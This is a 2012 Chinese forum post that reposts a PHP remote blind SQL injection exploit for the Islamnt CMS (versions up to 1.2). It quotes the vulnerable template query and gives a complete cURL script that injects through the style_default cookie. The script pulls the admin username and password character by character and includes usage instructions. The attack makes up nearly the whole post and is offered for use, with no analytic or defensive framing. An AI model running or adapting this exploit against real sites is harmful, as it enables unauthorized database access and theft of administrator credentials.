上帝是只猪 发表于 2012-8-6 14:02:53

Islamnt < =远程SQL盲注利用

<?php
/*
---------------------------------------------------------------
Islamnt <=Remote Blind SQL Injection Exploit by s3n4t00r
---------------------------------------------------------------
Author...............: s3n4t00r
affected versions....: from 1 to 1.2
Gr34ts 4.............: Exp-Bl00d

[-] Vulnerable code in class/class.template.php:

      public function get_template ($val)
      {
               $q = new ib_query();
                   global $style_default;
               $style_def = ib_setting('style_site');
               $sel_temp = $q->Query("select $val from styles where id_style='$style_default'"); <-- #   here
               $row_temp = $q->FetchO($sel_temp);
               $this->temp = $row_temp->$val;
               $this->temp = stripslashes($this->temp);

      }
*/

print "\n+------------------------------------------------------------+";
print "\n| Islamnt <=Remote Blind SQL Injection Exploit by s3n4t00r |";
print "\n+------------------------------------------------------------+\n";

if (!extension_loaded('curl')) die("cURL extension required\n");
error_reporting(E_ERROR);
set_time_limit(0);

function get($url,$inj)
{

                        $curl =      curl_init();
                        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
                        curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,3);
                        curl_setopt($curl,CURLOPT_URL,$url);
            curl_setopt($curl, CURLOPT_COOKIE, "style_default=1$inj");
            curl_setopt($curl, CURLOPT_HEADER, 1);
            curl_setopt($curl, CURLOPT_VERBOSE, 0);
                        $calis = curl_exec($curl);
                        @curl_close($calis);
            return $calis;

}

function chek_get($connect)
{

         if(eregi("<option value=''></option>",$connect))
          {
            return true;
          }
          else
          {
            return false;
          }
}

if ($argc < 2)
{
            print "\nUsage......: php $argv <url>\n";
            print "\nExample....: php $argv http://localhost/mytickets/";
            print "\nExample....: php $argv http://localhost/mytickets/\n";
            die();
}

$sql_f = chek_get(get($argv,"' and 1='2 /*"));
$sql_t = chek_get(get($argv,"' and 1='1 /*"));

if($sql_t == $sql_f)
{
          print "\n\t sorry: magic_quotes_gpc = On ): \n";
          die();
}

print "\n\t[+] Getting Admin Username and Password\n\n\t";

for ($g = 1; $g <= 40; $g++) {//eidt
for ($i = 46; $i <= 122; $i++) {

       $inject = chek_get(get($argv,"'+AnD+ascii(MiD((sElect+concat_ws(0x3a,user_user,pass_user)+frOm+users+liMit 0,1),".$g.",1))='".$i."/*"));

       if($inject == $sql_t){printchr($i);}
}
}

?>
页: [1]
查看完整版本: Islamnt < =远程SQL盲注利用